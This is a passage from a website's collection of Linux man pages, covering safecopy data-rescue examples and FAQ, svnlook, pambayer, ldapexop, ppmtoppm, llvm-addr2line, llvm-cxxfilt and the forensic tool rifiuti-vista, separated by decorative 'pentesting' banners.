- resurrect some data fast, then read more data thoroughly later:

safecopy source dest -f 10% -R 0 -Z 0 -o badblockfile
safecopy source dest -f 1* -R 8 -Z 2 -I badblockfile

Alternate approach using the new preset features:

safecopy source dest –stage1

safecopy source dest –stage2

safecopy source dest –stage3

- utilize some friends CD-ROM drives to complete the data from my damaged CD:
safecopy /dev/mydrive imagefile <someoptions> -b <myblocksize> -o myblockfile
safecopy /dev/otherdrive imagefile <someoptions> -b <otherblocksize> -I myblockfile -i <myblocksize> -o otherblockfile
safecopy /dev/anotherdrive imagefile <someoptions> -b <anotherblocksize> -I otherblockfile -i <otherblocksize>

- interrupt and later resume a data rescue operation:
safecopy source dest
<CTRL+C> (safecopy aborts)
safecopy source dest -I /dev/null

- interrupt and later resume a data rescue operation with correct badblocks output:
safecopy source dest <options> -o badblockfile
<CTRL+C> (safecopy aborts)
mv badblockfile savedbadblockfile
safecopy source dest -I /dev/null -o badblockfile
cat badblockfile >>savedbadblockfile

- interrupt and resume in incremental mode:

(this needs a bit of bash scripting to get the correct badblock lists)
safecopy source dest <options> -o badblockfile1
safecopy source dest <options> -I badblockfile1 -o badblockfile2
<CTRL+C> (safecopy aborts)
latest=$( tail -n 1 badblockfile2 )
if [ -z $latest ]; then latest=-1; fi;
cat badblockfile1 | while read block; do
[ $block -gt $latest ] && echo $block >>badblockfile2;
done;
safecopy source dest <options> -I badblockfile2 -o badblockfile3

- find the corrupted files on a partially successful rescued file system:
safecopy /dev/filesystem image -M CoRrUpTeD
fsck image
mount -o loop image /mnt/mountpoint
grep -R /mnt/mountpoint “CoRrUpTeD”
(hint: this might not find all affected files if the unreadable parts are smaller in size than your marker string)

- exclude the previously known badblocks list of a filesystem from filesystem image creation:
dumpe2fs -b /dev/filesystem >badblocklist
safecopy /dev/filesystem image -X badblocklist -x <blocksize of your fs>

- create an image of a device that starts at X and is Y in size:
safecopy /dev/filesystem -b <bsize> -s <X/bsize> -l <Y/bsize>

- combine two partial images of rescued data without access to the actual (damaged) source data:
(This is a bit tricky. You need to get badblocks lists for both files somehow to make safecopy know where the missing data is. If you used the -M (mark) feature you might be able to automatically compute these, however this feature is not provided by safecopy. Lets assume you have two badblocks files.

you have:
image1.dat
image1.badblocks (blocksize1)
image2.dat
image2.badblocks (blocksize2)

The file size of image1 needs to be greater or equal to that of image2. (If not, swap them) )

cp image2.dat combined.dat
safecopy image1.dat combined.dat -I image2.badblocks -i blocksize2 -X image1.badblocks -x blocksize1
(This gets you the combined data, but no output badblocklist. The resulting badblocks list would be the badblocks that are
a: in both badblocks lists, or
b: in image1.badblocks and beyond the file size of image2 It should be reasonably easy to solve this logic in a short shell script. One day this might be shipped with safecopy, until then consider this your chance to contribute to a random open source project.)

- rescue data of a tape device:
If the tape device driver supports lseek(), treat it as any file, otherwise utilize the “-S” option of safecopy with a to be self-written script to skip over the bad blocks. (for example using “mt seek”) Make sure your tape device doesn’t auto-rewind on close. Send me feedback if you had any luck doing so, so I can update this documentation.

FAQ

Q:
Why create this tool if there already is something like dd-rescue and other tools for that purpose?

A:
Because I didn’t know of dd(-)rescue when I started, and I felt like it. Also I think safecopy suits the needs of a user in data loss peril better due to more readable output and more understandable options than some of the other tools. (Then again I am biased. Compare them yourself) Meanwhile safecopy supports low level features other tools don’t.

Q:
What exactly does the -Z option do?

A:
Remember back in MS-DOS times when a floppy would make a “neek nark” sound 3 times every time when running into a read error? This happened when the BIOS or DOS disk driver moved the IO head to its boundaries to possibly correct small cylinder misalignment, before it tried again. Linux doesn’t do that by default, neither do common CDROM drives or drivers. Nevertheless forcing this behaviour can increase your chance of reading bad sectors from a CD __BIG__ time. (Unlike floppies where it usually has little effect)

Q:
Whats my best chance to resurrect a CD that has become unreadable?

A:
Try making a backup image on many different computers and drives. The abilities to read from bad media vary extremely. I have a 6 year old Lite On CDRW drive, that even reads deeply and purposely scratched CDs (as in with my key, to make it unreadable) flawlessly. A CDRW drive of the same age at work doesn’t read any data from that part of the CD at all, while most DVD and combo drives have bad blocks every couple hundred bytes. Make full use of safecopys RAW access features if applicable. (-L 2 option)

As a general guideline:
-CDRW drives usually do better than read-only CD drives.
-CD only drives sometimes do better on CDs than DVD drives.
-PC drives are sometimes better than laptop ones.
-A drive with a clean lens does better than a dirtball.
-Cleaning up CDs helps.
-Unless you use chemicals.
-Using sticky tape on a CD will rip of the reflective layer permanently rendering the disk unreadable.

Q:
Whats my best chance to resurrect a floppy that became unreadable?

A:
Again try different floppy drives. Keep in mind that it might be easier to further damage data on a bad floppy than on a CD. (Don’t overdo read attempts)

Q:
What about BlueRay/HDDVD disks?

A:
Hell if I knew, but generally they should be similar to DVDs. It probably depends how the drives firmware acts up.

Q:
My hard drive suddenly has many bad sectors, what should I do?

A:
Speed is an essential factor when rescuing data from a bad hard drive. Accesses to bad areas or even just time running can further damage the drive and make formerly readable areas unreadable, be it due to temperature rise, damaged heads scratching still good parts of the surface, bearings degrading due to vibration, etc. Its advisable to shut the system down and remove the hard drive from the computer as soon as errors occur and as fast as possible without causing further damage.

(Don’t pull the plug! Press reset to force reboot and then power down via power button/ACPI)

Set up a rescue system with enough disk space to store all the data from the damaged drive (and possibly multiple copies of it). If you have an external hard drive case that connects via USB SATA or SCSI, allowing a hot plug of the drive into a running system, use it. This allows you to prepare everything without the need for the drive to power up and possibly BIOS or operating system involuntarily accessing it. You also get easier access to the drive to check temperature or noise during operation.

When you rescue data, rescue good data first before attempting to access bad sectors. Safecopy allows you to skip known problem sectors using a badblock exclude file (-X) which you might be able to retrieve from system logs or from the drive internal logs, via smartmontools or similar software. Be aware that you might possibly need to convert physical sector numbers into logical block numbers depending on your source.

Also you should tell safecopy to jump out of any problematic areas ASAP and continue somewhere else. Parameters “-f 10% -r 10% -R 0 -Z 0” would do the trick by making safecopy skip 10% of the device content and continue there without backtracking. You can always attempt to get the data in between later, first get the supposedly good data on the rest of the drive. Depending on the method of data recovery you plan on using, it may make sense to mark the bad data with the “-M” option. This allows you to later find files affected by data corruption more easily. Use the “-o” option to make safecopy write a badblock list with all blocks skipped or unreadable.

When safecopy is done with this first run, you can attempt a second go trying to get more data. Using smaller values for “-f” and allowing safecopy to backtrack for the end of the affected area “-r 1*”. Be sure to use incremental mode “-I” to only read the blocks skipped in the first run.

It may make sense to let the drive cool down between runs. Once you got all the data from the “good” areas of the drive you can risk more “thorough” access to it. Increase the numbers of retries “-R” in case of bad blocks, maybe together with a head realignment “-Z 1”. “-f 1*” would make safecopy try to read on every single block, not skipping over bad areas at all.

If your drive stops responding, power it down, let it cool down for a while, then try again.

(I heard from people who brought dead drives back to live for a short time by cooling them to low temperatures with ice-packs.)

!!! If the data is really important, go to a professional data recovery specialist right away, before doing further damage to the drive.

EXIT STATUS

safecopy returns 0 (zero) if there were no unrecoverable errors.
safecopy returns 1 if some data could not be recovered.
safecopy returns 2 in case the copying was aborted due to error or signal.

AUTHORS

safecopy and its manpage have been designed and written by CorvusCorax.

BUGS

Please use the project page on sourceforge <http://www.sf.net/projects/safecopy> to get in contact with project development if you encounter bugs or want to contribute to safecopy.

COPYRIGHT

Copyright © 2009 CorvusCorax
This is free software. You may redistribute copies of it under the terms of the GNU General Public License version 2 or above. <http://www.gnu.org/licenses/gpl.html>. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Programs with a similar scope are among others

ddrescue(1), dd-rescue(1), …

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1683 - Linux cli command svnlook

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command svnlook and provides detailed information about the command svnlook, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the svnlook.

NAME 🖥️ svnlook 🖥️

Subversion repository examination tool

SYNOPSIS

svnlook command /path/to/repos [options] [args]

OVERVIEW

Subversion is a version control system, which allows you to keep old versions of files and directories (usually source code), keep a log of who, when, and why changes occurred, etc., like CVS, RCS or SCCS. Subversion keeps a single copy of the master sources. This copy is called the source ``repository’’; it contains all the information to permit extracting previous versions of those files at any time.

For more information about the Subversion project, visit http://subversion.apache.org.

Documentation for Subversion and its tools, including detailed usage explanations of the svn, svnadmin, svnserve and svnlook programs, historical background, philosophical approaches and reasonings, etc., can be found at http://svnbook.red-bean.com/.

Run `svnlook help’ to access the built-in tool documentation.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1684 - Linux cli command pambayer

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pambayer and provides detailed information about the command pambayer, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pambayer.

.

NAME 🖥️ pambayer 🖥️

interpret Bayer patterns

SYNOPSIS

pambayer -type={1|2|3|4} [-nointerpolate] [pamfile]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pambayer reads a Bayer pattern in a 1-deep Netpbm image and produces a color image in PAM RGB format as output.

A Bayer pattern is what you get from the optical sensor in some digital cameras. Such a camera doesn’t have a red, green, and blue sensor in the exact same place for an individual pixel. Instead, it has red, green, and blue sensors laid out in a two dimensional array. The pattern in which they are laid out is the Bayer pattern. The input to pambayer is one sample value for each of those sensors, so some samples are red, some are green, and some are blue.

pambayer turns that into a regular visual image with one pixel per sensor. For the two components of each pixel that are missing in the corresponding Bayer input, pambayer averages the sample values from the adjacent pixels that do have that component.

But you can have pambayer fill in black instead (see the -noninterpolate option), which gives you a simpler representation of what the camera saw, on which you might do further processing. Such an image still looks right, though considerably dimmer, if you stand far enough away and let your eyes do the interpolation.

The input image is a pseudo-PNM image (pseudo- because while the structure is the same, the sample values have different meanings) or PAM image of arbitrary tuple type. pambayer looks at only the first plane of the input.

The output image is a PAM image of tuple type “RGB”, i.e. a standard color image. You can convert this to PPM with pamtopnm(1) .

If you’re interested in just one of the primary colors, use pamchannel on the output of pambayer to extract it.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pambayer recognizes the following command line options:

**-type=**n
This tells which Bayer pattern the input is:

1
GBG/RGR/GBG matrix

2
RGR/GBG/RGR matrix

3
BGB/GRG/BGB matrix

4
GRG/BGB/GRG matrix

This option is mandatory.

-nointerpolate
Each output pixel position corresponds to one position in the input Bayer pattern, which means only one of the three color components is supplied by the input. For the other two, this option says to user zero. Without it, pambayer instead interpolates from the adjacent pixels that do have that color component.

This option was new in Netpbm 10.49 (December 2009).

SEE ALSO

cameratopam(1) pam(1)

HISTORY

pambayer was new in Netpbm 10.30 (October 2005).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pambayer.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1685 - Linux cli command ldapexop

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ldapexop and provides detailed information about the command ldapexop, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ldapexop.

NAME 🖥️ ldapexop 🖥️

issue LDAP extended operations

SYNOPSIS

ldapexop [ -V[V]] [ -d* debuglevel]* [ -n] [ -v] [ -f* file]* [ -x] [ -D* binddn]* [ -W] [ -w* passwd]* [ -y* passwdfile]* [ -H* URI]* [ -e [!]ext[=extparam]] [ -o* opt***[=optparam]]** [ -O* security-properties]* [ -I] [ -Q] [ -N] [ -U* authcid]* [ -R* realm]* [ -X* authzid]* [ -Y* mech]* [ -Z[Z]] { oid | oid:data | oid::b64data | whoami | cancel cancel-id | refresh DN [ttl]}

DESCRIPTION

ldapexop issues the LDAP extended operation specified by oid or one of the special keywords whoami, cancel, or refresh.

Additional data for the extended operation can be passed to the server using data or base-64 encoded as b64data in the case of oid, or using the additional parameters in the case of the specially named extended operations above.

Please note that ldapexop behaves differently for the same extended operation when it was given as an OID or as a specially named operation:

Calling ldapexop with the OID of the whoami (RFC 4532) extended operation

  ldapexop [<options>] 1.3.6.1.4.1.4203.1.11.3

yields

  # extended operation response
  data:: <base64 encoded response data>

while calling it with the keyword whoami

  ldapexop [<options>] whoami

results in

  dn:<client's identity>

OPTIONS

-V*[V]*
Print version info. If**-VV** is given, only the version information is printed.

-d* debuglevel*
Set the LDAP debugging level to debuglevel.

-n
Show what would be done but don’t actually do it. Useful for debugging in conjunction with -v.

-v
Run in verbose mode, with many diagnostics written to standard output.

-f* file*
Read operations from file.

-x
Use simple authentication instead of SASL.

-D* binddn*
Use the Distinguished Name binddn to bind to the LDAP directory.

-W
Prompt for simple authentication. This is used instead of specifying the password on the command line.

-w* passwd*
Use passwd as the password for simple authentication.

-y* passwdfile*
Use complete contents of passwdfile as the password for simple authentication.

-H* URI*
Specify URI(s) referring to the ldap server(s); only the protocol/host/port fields are allowed; a list of URI, separated by whitespace or commas is expected.

-e [!]ext[=extparam]
Specify general extensions. ‘!’ indicates criticality.

  [!]assert=<filter>    (an RFC 4515 Filter)
  !authzid=<authzid>    ("dn:<dn>" or "u:<user>")
  [!]bauthzid           (RFC 3829 authzid control)
  [!]chaining[=<resolve>[/<cont>]]
  [!]manageDSAit
  [!]noop
  ppolicy
  [!]postread[=<attrs>] (a comma-separated attribute list)
  [!]preread[=<attrs>]  (a comma-separated attribute list)
  [!]relax
  sessiontracking[=<username>]
  abandon,cancel,ignore (SIGINT sends abandon/cancel,
  or ignores response; if critical, doesn't wait for SIGINT.
  not really controls)

-o* opt***[=optparam]**
Specify any ldap.conf(5) option or one of the following:

  nettimeout=<timeout>  (in seconds, or "none" or "max")
  ldif_wrap=<width>     (in columns, or "no" for no wrapping)

-O* security-properties*
Specify SASL security properties.

-I
Enable SASL Interactive mode. Always prompt. Default is to prompt only as needed.

-Q
Enable SASL Quiet mode. Never prompt.

-N
Do not use reverse DNS to canonicalize SASL host name.

-U* authcid*
Specify the authentication ID for SASL bind. The form of the ID depends on the actual SASL mechanism used.

-R* realm*
Specify the realm of authentication ID for SASL bind. The form of the realm depends on the actual SASL mechanism used.

-X* authzid*
Specify the requested authorization ID for SASL bind. authzid must be one of the following formats: dn:<distinguished name> or u:<username>

-Y* mech*
Specify the SASL mechanism to be used for authentication. Without this option, the program will choose the best mechanism the server knows.

-Z[Z]
Issue StartTLS (Transport Layer Security) extended operation. Giving it twice (-ZZ) will require the operation to be successful.

DIAGNOSTICS

Exit status is zero if no errors occur. Errors result in a non-zero exit status and a diagnostic message being written to standard error.

SEE ALSO

ldap_extended_operation_s(3)

AUTHOR

This manual page was written by Peter Marschall based on ldapexop’s usage message and a few tests with ldapexop. Do not expect it to be complete or absolutely correct.

ACKNOWLEDGEMENTS

OpenLDAP Software is developed and maintained by The OpenLDAP Project <http://www.openldap.org/>. OpenLDAP Software is derived from the University of Michigan LDAP 3.3 Release.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1686 - Linux cli command ppmtoppm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtoppm and provides detailed information about the command ppmtoppm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtoppm.

.

NAME 🖥️ ppmtoppm 🖥️

copy PPM image

SYNOPSIS

ppmtoppm

DESCRIPTION

This program is part of Netpbm(1) .

ppmtoppm simply copies a PPM image from Standard Input to Standard Output. This may seem an unnecessary duplication of cat, but remember that a PPM program can read a PBM or PGM image, and the right kind of PAM, as if it were PPM. So ppmtoppm can read either a PBM, PGM, or PPM image and produce a PPM image as output.

Even that is of limited usefulness because of the fact that almost any program to which you would feed the resulting PPM image could also just take the original image directly. However, sometimes you really need a true PPM image.

When you know you have a PGM image and want a PPM image, pgmtoppm is a more general way to do that conversion. When you know you have a PBM image, use that and pbmtopgm.

OPTIONS

There are no command line options defined specifically for ppmtoppm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pgmtopgm(1) , pamtopam(1) , pamtopnm(1) , pgmtoppm(1) , pbmtopgm(1) , pbm(1) , pgm(1) , ppm(1)

HISTORY

This program was added to Netpbm in Release 10.9 (September 2002).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtoppm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1687 - Linux cli command llvm-addr2line-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-addr2line-16 and provides detailed information about the command llvm-addr2line-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-addr2line-16.

NAME 🖥️ llvm-addr2line-16 🖥️

addr2line - a drop-in replacement for addr2line

SYNOPSIS

llvm-addr2line [options]

DESCRIPTION

llvm-addr2line is an alias for the llvm-symbolizer(1) tool with different defaults. The goal is to make it a drop-in replacement for GNU’s addr2line.

Here are some of those differences:

  • llvm-addr2line interprets all addresses as hexadecimal and ignores an optional 0x prefix, whereas llvm-symbolizer attempts to determine the base from the literal’s prefix and defaults to decimal if there is no prefix.

  • llvm-addr2line defaults not to print function names. Use -f to enable that.

  • llvm-addr2line defaults not to demangle function names. Use -C to switch the demangling on.

  • llvm-addr2line defaults not to print inlined frames. Use -i to show inlined frames for a source code location in an inlined function.

  • llvm-addr2line uses –output-style=GNU by default.

  • llvm-addr2line parses options from the environment variable LLVM_ADDR2LINE_OPTS instead of from LLVM_SYMBOLIZER_OPTS.

SEE ALSO

llvm-symbolizer(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1688 - Linux cli command llvm-cxxfilt-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-cxxfilt-16 and provides detailed information about the command llvm-cxxfilt-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-cxxfilt-16.

NAME 🖥️ llvm-cxxfilt-16 🖥️

cxxfilt - LLVM symbol name demangler

SYNOPSIS

llvm-cxxfilt [options] [mangled names…]

DESCRIPTION

llvm-cxxfilt is a symbol demangler that can be used as a replacement for the GNU c++filt tool. It takes a series of symbol names and prints their demangled form on the standard output stream. If a name cannot be demangled, it is simply printed as is.

If no names are specified on the command-line, names are read interactively from the standard input stream. When reading names from standard input, each input line is split on characters that are not part of valid Itanium name manglings, i.e. characters that are not alphanumeric, ‘.’, ‘$’, or ‘_’. Separators between names are copied to the output as is.

EXAMPLE

$ llvm-cxxfilt _Z3foov _Z3bari not_mangled foo() bar(int) not_mangled $ cat input.txt | _Z3foov *** _Z3bari *** not_mangled | $ llvm-cxxfilt < input.txt | foo() *** bar(int) *** not_mangled |

OPTIONS

–format=<value>, -s
Mangling scheme to assume. Valid values are auto (default, auto-detect the style) and gnu (assume GNU/Itanium style).

–help, -h
Print a summary of command line options.

–no-strip-underscore, -n
Do not strip a leading underscore. This is the default for all platforms except Mach-O based hosts.

–strip-underscore, -_
Strip a single leading underscore, if present, from each input name before demangling. On by default on Mach-O based platforms.

–types, -t
Attempt to demangle names as type names as well as function names.

–version
Display the version of the llvm-cxxfilt executable.

@<FILE>
Read command-line options from response file <FILE>.

EXIT STATUS

llvm-cxxfilt returns 0 unless it encounters a usage error, in which case a non-zero exit code is returned.

SEE ALSO

llvm-nm(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1689 - Linux cli command rifiuti-vista

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rifiuti-vista and provides detailed information about the command rifiuti-vista, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rifiuti-vista.

SYNOPSIS

rifiuti or rifiuti-vista [-hv]

rifiuti [-x | [-n] [-t delim]] [-z] [-l codepage] [-o outfile] filename

rifiuti-vista [-x | [-n] [-t delim]] [-z] [-o outfile] file_or_directory

DESCRIPTION

Rifiuti2 analyse recycle bin files from Windows. Analysis of Windows recycle bin is usually carried out during Windows computer forensics. Rifiuti2 can extract file deletion time, original path and size of deleted files and whether the deleted files have been moved out from the recycle bin since they are trashed.

Rifiuti2 supports a wide range of Windows versions, from Windows 95 to Windows 10. The command used for analysis depends on the version of Windows producing the recycle bin (not the version of users’ system!), which uses vastly different format before and after Vista:

rifiuti-vista
For Vista or later, which is located in

\$Recycle.bin\<SID>\.

Each deleted file has its own accompanied index file remembering the original path, file size and deletion time. If original file is permanentsly deleted, so is the index file.

rifiuti
For Windows 95 to XP/2003, which uses a single index file named INFO2 (98 or above) or INFO (95 and NT4) under either

\RECYCLED\

(FAT 16/32) or

\RECYCLER\<SID>\

(NTFS). This file keeps track record for deletion status and info for all deleted items, including those permanently removed or restored.

By default, both programs dump tab-delimited fields on screen, which can be viewed on screen or imported into spreadsheet program. -x option instructs program to dump XML formatted content instead.

Since 0.7.0 version, rifiuti2 output is in UTF-8 encoding only, including the case of writing file under Windows.

Index field has different meaning for pre-Vista and post-Vista versions. INFO2 has an index number for each of deletion item indicating the chronological order of items. For Vista version, it means the index file name instead, which matches pattern “$Ixxxxxx.<ext>”, where x is random alphanumeric character, and <ext> matches the extension of original deleted item.

Deleted time is represented in UTC time by default. Under tab-delimited mode, date/time is presented in format recognized by spreadsheet programs, while in XML mode ISO 8601 date/time format is used. For example, 3PM at 2014 X’mas represented in these modes would be respectively:

2014-12-25 15:00:00
2014-12-25T15:00:00Z

File size and file path are self-explanatory, but there are some special issues to take care about. Refer to CAVEATS section below for more detail.

OPTIONS

-o, –output=FILE
Write output to FILE.

-x, –xml
Output in XML format instead of tab-delimited values. With XML mode, all plain text options are disallowed, and result is always in UTF-8 encoding. See below for plain text options.

-l, –legacy-filename=CODEPAGE
Show legacy filename if available (like “D:\Progra~1\”), and specify the CODEPAGE used in the Windows system producing this INFO2 file. Any encodings supported by iconv(1) can be used, though for maximum accuracy of file name results, it is better to stick with Microsoft codepages (such as CP850 or CP1252 for west European version, CP932 for Japanese, etc).

Note: This option is mandatory if INFO2 file is created by Windows 95, 98 or ME, since recycle bins under these OS don’t contain Unicode file name. This option does not exist in rifiuti-vista.

-z, –localtime
Present deletion time in numeric time zone of local system running the program. By default, UTC time is displayed, which is the time value recorded in index files. Using the X’mas example above, the time for Berlin (without daylight saving time) would be 2014-12-25T16:00:00+0100 in ISO 8601 format.

